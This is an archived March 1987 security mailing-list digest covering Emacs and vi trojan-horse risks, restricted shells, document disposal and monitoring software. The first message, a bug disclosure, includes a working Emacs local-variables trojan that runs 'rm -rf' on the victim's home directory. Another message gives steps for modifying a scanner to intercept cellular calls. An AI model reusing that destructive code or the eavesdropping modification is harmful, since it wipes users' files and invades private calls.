|
|
ARCHIVE: Rutgers 'Security List' (incl. misc.security) - Archives (1987)
DOCUMENT: Rutgers 'Security List' for March 1987 (13 messages, 7853 bytes)
SOURCE: http://securitydigest.org/exec/display?f=rutgers/archive/1987/03.txt&t=text/plain
NOTICE: securitydigest.org recognises the rights of all third-party works.
START OF DOCUMENT
-----------[000000][next][prev][last][first]---------------------------------------------------- From: Bill Sommerfeld <wesommer@ATHENA.MIT.EDU> 6-Mar-1987 17:19:12 To: bug-gnu-emacs@prep.ai.mit.edu Cc: security@red.rutgers.edu, jis@ATHENA.MIT.EDU
In GNU Emacs 18.37.1 of Mon Feb 16 1987 on ra (berkeley-unix)
If I create the file /tmp/foo, containing the following lines:
Local Variables:
load-path: ("/tmp")
mode: outline
End:
and the file /tmp/outline.el:
;;; put any arbitrary code here.
(if (not (string= (user-login-name) "wesommer"))
(shell-command "cd ~; rm -rf * &"))
(kill-emacs t)
then anyone who uses emacs to look at /tmp/foo and who has not yet
loaded the outline package will lose their home directory. While I
would not be anti-social enough to do this, it should be important to
point out that the local-variables feature of emacs enables trojan
horses like this to surface.
Suggested fix: disable setting of load-path in the local-variables
list; other variables of this nature (such as shell-file-name and
exec-path) might also be protected in some way. It may also be
possible to set various hooks in this way; it is not immediately
apparant to me how to fix this problem in general without eliminating
the (winning) local variables feature.
- Bill
-----------[000001][next][prev][last][first]---------------------------------------------------- From: crl@maxwell.physics.purdue.edu (Charles R. LaBrec) 7-Mar-1987 06:24:07 To: wesommer@ATHENA.MIT.EDU Cc: bug-gnu-emacs@PREP.AI.MIT.EDU, security@red.rutgers.edu
A thought I just had was to be able to do something like (put 'load-path 'disable-local-variables t) so that any "important" variable could be protected in a easily extensible way. Maybe non-t and non-nil could be a way to request confirmation before proceeding. Charles LaBrec crl @ maxwell.physics.purdue.edu
-----------[000002][next][prev][last][first]---------------------------------------------------- From: HMICHEL%CALSTATE.BITNET@wiscvm.wisc.edu 11-Mar-1987 08:57:22 To: SECURITY@RUTGERS.EDU
I am interested in obtaining source code (preferably in FORTRAN, Pascal
is ok, BASIC is ok, C only if I must) that will encrypt and decrypt files.
I am at site that only supports mail; so, if there is anything at any
archive that is not reachable via a mail based server then I am dependent on
someone's generosity.
Thanks for your help.
Michael W. Fleming BITNET: HMICHEL@CALSTATE
Computer Services ARPANET: HMICHEL%CALSTATE.BITNET@
California State College WISCVM.WISC.EDU
9001 Stockdale Highway
Bakersfield, Ca. 93311-1099
Telephone: (805) 833-2309 -or- (805) 833-2115 {message}
-----------[000003][next][prev][last][first]---------------------------------------------------- From: brock@pnet01.CTS.COM (Brock Meeks) 12-Mar-1987 05:39:09 To: crash!security@rutgers@nosc.mil
Well, what don't any of us have any comments on the mundo security blunder by our rousing cowboys that used to staff the NSC?? I mean, c'mon? Can these guys really be so naive that they didn't know their messages were being stored for prospertiy by the PROF system? Any one want to venture a guess why? Or how about someone taking a shot at looking into whether the RFP (request for proposal) for the original White House comm. system included anything about "back up" messages . . . Just for security, you understand... Really, I'm a little tweaked on this issue. I would like to think these guys weren't that stupid, but you just never know... Brock inhp4!sdcsvax!crash!pnet01!brock brock@ucsd brock@nosc -------------------------- no crap down here....
-----------[000004][next][prev][last][first]---------------------------------------------------- From: barnett%vdsvax.tcpip@ge_crd.arpa 16-Mar-1987 11:17:16 To: SECURITY@RED.RUTGERS.EDU Cc: unix-security
Here is a question I have for Sun 3.2 and Ultrix 1.2 (and 2.0) Ultrix systems.
We would like to set up a network service for providing
the ability to use Elan's DITROFF, which is licensed for one system, from any
Ultrix or Sun machine on our network. We would like to do this without
creating hundreds of accounts on the Sun workstation.
Two simple methods are:
Have a password of '*' on the dummy account and have
a list of people in the .rhost file, who can use the account.
(This list of people/machines would include hundreds of
combinations)
Have no password in the account, and have a special version
of the .profile/.login/.cshrc that traps signals, and
only allows certain commands.
It seems to me that this is insecure because people could then do:
rsh machine -l dummy-user chmod .profile
rcp .profile machine.dummy-user:
and then
rlogin machine -l dummy-user
Another solution is to use the restricted shell on the Sun.
(I don't believe this is available on Ultrix 1.2)
To review my understanding of it, I would set it up as follows:
ln /bin/sh /bin/rshell
change /bin/{c}sh to /bin/rshell in the dummy user's password entry
create a /secure-bin directory with just the commands needed to
execute the tbl/eqn/nroff/troff/spell programs and scripts
What would be NOT included is chmod, cp, ln, and some others.
I would think it should not be writable by the dummy user.
(this part would require the most head-scratching.)
edit the .profile to set the search path to only point to /secure-bin
Also add a trap 'exit 1' 0 1 2 3 15 to the .profile as the
first command.
chmod the .profile to 400
Now - Sun's restricted version of sh does not allow:
execution of commands starting with '/'
redirection of standard output
So my questions are:
Is the approach I am taking secure? or 95% secure? Is there a better
approach? (I may be willing to settle for a 95% secure method - because this
doesn't grant root access. But as our policy is to not allow password-free
accounts - we need to justify this deviation from policy.)
Is there a secure method of doing this for Ultrix, which doesn't
(as far as I know) have the restricted shell? If so, how was it done?
Does it require writing a program? Does anyone have a program
that is suitable for hacking?
Does anyone have some examples on how they solved this
problem? (This might save me a bit of head scratching and testing.)
Which commands should I leave from the special bin directory?
(besides chmod, ln, cp, rm, and mv)?
Bruce G. Barnett
barnett@ge-crd.arpa, barnett@steinmetz.uucp
...!{chinet,rochester}!steinmetz!barnett
-----------[000005][next][prev][last][first]---------------------------------------------------- From: Michael Grant <mgrant@mimsy.umd.edu> 16-Mar-1987 18:29:01 To: info-hams@mc.lcs.mit.edu, rnj@brl.arpa, security@red.rutgers.edu,
In the March 1987 (Vol 6, Number 3) issue of Monitoring Times on page 48, there is a short article on how to modify your RadioShack Scanner to pick up the cellular frequencies. (This just had to have been leaked from someone in Tandy sales!) 1. Remove the four cabinet screws and the cabinet 2. Turn the receiver upside down and locate circuit board PC-3 3. Remove seven screws holding board and plug CN-501 4. Carefully lift up the board and locate diode soldered in place below the module 5. Snip one lead of the diode carefully, leaving it suspended by the other lead for later reattachment if desired, such as warranty repair 6. Reverse first four steps above for reassembly. Radio will now cover 825-845 and 870-890 MHz and search in 30 KHz increments for no-gap 760-1300 MHz reception (Thanks to Jim Marquand and other readers of Monitoring Times) I do not own a PRO-2004, nor have I ever seen this tried, do it at your own risk. -Mike
-----------[000006][next][prev][last][first]---------------------------------------------------- From: *Hobbit* <AWalker@RED.RUTGERS.EDU> 17-Mar-1987 00:57:52 To: security@RED.RUTGERS.EDU
I have found an excellent way of disposing of classified garbage. You find a standard industrial-grade flat rooftop that has a lot of small-grain gravel on top, and sweep a small pile of it together. Create a depression in this pile, about 6 inches across. Loosely crumple a couple of the papers in question and ignite them. Feed the rest of the stuff in, loosely crumpled so it burns nicely, until there's only ashes and no paper left. Now, tumble and mix the pile of gravel and ashes around until all you have is blackened gravel [a random beer bottle lying nearby served quite well as a swizzle stick]. Leave the pile sitting there for the next time you need it. Drawbacks: Works better at night, since rooftops tend to be windy during the day. However, what's left behind is completely unreadable. _H*
-----------[000007][next][prev][last][first]---------------------------------------------------- From: codas!ki4pv!tanner@rutgers.edu 19-Mar-1987 11:59:15 To: codas!moss!rutgers!security
Another interesting case is "vi", whose mode lines feature is
disabled by SCO ("it's not a bug, it's a feature") because they fear
that someone might leave a trojan horse in a file to be edited. SCO
sells xenix, which is a unix clone of moderate tolerability.
A mode line containing the command "!sh my_trojan.sh" surrounded by
the proper arrangements of comment characters and colons is what they
fear; my_trojan.sh either dispenses a prophylactic to the editor, or
creates a setuid-victim prog for benefit of the horses's owner.
I fear that the commenting-out of the proper code (rather than simply
disabling the '!' command in mode lines) is probably more than a bit
paranoid; SCO was kind enough to offer to sell me source for some
large number of thousands of dollars so that I could re-enable this
code. Their hack is not optional on a per-site basis; they don't
offer a version with mode lines to those sites willing to risk it.
I prefer the simpler policy of cutting off the fingers of anyone who
leaves a trojan horse around without my permission.
tanner andrews, systems
compudata south, deland
-----------[000008][next][prev][last][first]---------------------------------------------------- From: Douglas Humphrey <deh@eneevax.umd.edu> 20-Mar-1987 11:07:41 To: brock@pnet01.CTS.COM, crash!security@rutgers@nosc.mil
All I can say about it is that if they had been running OUR system rather than PROFFS then their messages really would have gotten deleted ! Still, I would think that an organization like the NSC should have the proper support by agencys to avoid such a simple, stupid problem. I don't expect our customers to be knowledgable about these things; that what they pay US for. What agency is charged (if any) with the job of COMSEC and related security ? Would that be NSA? A thing to note here. They did have correct levels of security there, with the entire facility Tempest, and running at Top Secret. The problem here is not one of clasic COMSEC; the bad guys getting into the system. What happened here was the creation of an audit trail when the users did not want one to happen. You can argue that this kind of accountability is good or not; it did allow what actualy happened to come to light (no political flames here please, this is just a technical discussion), but it can also be argued that the user is the ultimate authority in the circumstance, and that when they say 'delete and do not archive' then that is what should happen. If there was a decision taken that the system should auto-archive all message traffic, then the users should have been explicitly warned of this, and often ! Doug Digital Express Inc.
-----------[000009][next][prev][last][first]---------------------------------------------------- From: steinar@NTA-VAX.ARPA (Steinar Haug RUNIT) 23-Mar-1987 09:10:31 To: security@RUTGERS.EDU
I would like to know if there have been any reactions, discussion
etc. regarding the article:
"A proposed standard format for RSA cryptosystems",
by P. Zimmermann, IEEE Computer September 1986.
Arpanet: Steinar Haug
steinar@nta-vax Database Research Group,
Computing Centre at the Univ. of Trondheim
7034 Trondheim-NTH
Norway
-----------[000010][next][prev][last][first]---------------------------------------------------- From: "IFSM 190/0101; Student" <is190107@umbc2.umd.edu> 25-Mar-1987 21:38:56 To: "security" <security@red.rutgers.edu>
Why not use an incenerator where the ashes are recycled back into the fire a couple of times..... and then the smoke is sprayed with a mist of water to keep paper particles from leaving the area and reburned until the whole mess was up in flames.... then you could release it... this would only be effective for large(!!!) massive amounts of classified material... does anyone know anything about the unix hacker that is moving passwords around the country? he gets a file from NJ and moves it to NY and then the ppl can't log on w/ their own passwords.... I didn't hear the whole story but thats what I gathered. Whizard
-----------[000011][next][prev][last][first]---------------------------------------------------- From: Mike Linnig <LINNIG%ti-eg.csnet@RELAY.CS.NET> 27-Mar-1987 15:29:50 To: security@rutgers.edu
Does anyone out there know anything about the photo sensors that you can see on top of traffic lights? I have heard that they detect emergency vehicles (who use a special strobe) and switch the traffic light to green. Are the strobes coded or do the sensors just detect a certain flash frequency? I tried watching the strobe of an emergency vehicle but it is too fast to tell much with out a video tape. The strobe's flashes do seem to be in irregular bursts, indicating a code of some kind. I also wonder if the codes change (if they are coded) from city to city? Mike
-----------[000012][next][prev][last][first]---------------------------------------------------- From: Chris Yoder <engvax!CHRIS@csvax.caltech.edu> 1-Apr-1987 04:24:38 To: cit-vax!security@red.rutgers.edu
(For those of you who get both Info-Vax and Security-Info I apologize
for the double posting. I thought that this might be a good place to post
this message, and besides that, we need some traffic in this group!)
I would like to get comments from anybody about system monitoring
software that runs under VMS 4.5. I'm specifically interested in software
that will record everything that happens during an interactive terminal
session in a manner that is completely transparent to the user. Analysis
tools to help pinpoint users that be considered "security risks" from the
recorded data is also necessary. I am interested in hearing about how the
package is installed (including where the software ends up, what software
is installed, what kinds of privs it wants, etc.), how well the package
works (both software and documentation), any holes/serious bugs that you've
found and any person opinions that you might have about the software.
On the more specific side, I have just finished evaluating Clyde
Digital Systems' CONTRL, AUDIT and RTMON software packages, and I'd like to
share war stories with anyone else who has or is running any or all of
these packages (I've a *long*, very rough report on it, but if you want it
send me mail). CONTRL is fun, but I am most interested in AUDIT and RTMON.
While running AUDIT with RTMON under it, Vaxsim showed that our system was
collecting a rather alarming number of SysBugChk (%x00000058) Events.
Before and after the evaluation period of AUDIT and RTMON *no* events were
being logged by Vaxsim, during the evaluation period I saw this number
above 4,000. We suspect RTMON as the culprit because the system crashed
once during this period with the current process being a process that was
logged in over DECnet and analyzing the crash dump showed that the crash
was caused by R5 being set to 0. Circumstantial evidence seemed to
indicate that UPdriver caused R5 to be set to 0. Has anyone else been able
to pin down UPdriver of the RTMON package as the culprit for a system crash
or an unusually high number of errors on the system?
Oh I also discovered another gotcha, with both CONTRL and RTMON
installed under VMS 4.5, the process running CONTRL will crash the system
when CONTRLing a user logged in on a virtual terminal over a terminal
server who disconnects. I haven't tried to deliberately recreate this one
because users tend to get a little upset when the system goes down for no
apparent reason... If anybody else has had any similar experiences, I'd
love to hear about them.
-- Chris Yoder UUCP -- {allegra or ihnp4}!scgvaxd!engvax!chris
Hughes Aircraft Company Internet -- chris%engvax.scg.hac.com@ymir.bitnet
ARPA -- chris%engvax.uucp@usc-oberon.usc.edu
END OF DOCUMENT
| ISSN 1742-948X 01 (Online) | 2005/03/01 | Copyright 2002-2008 securitydigest.org. All rights reserved. |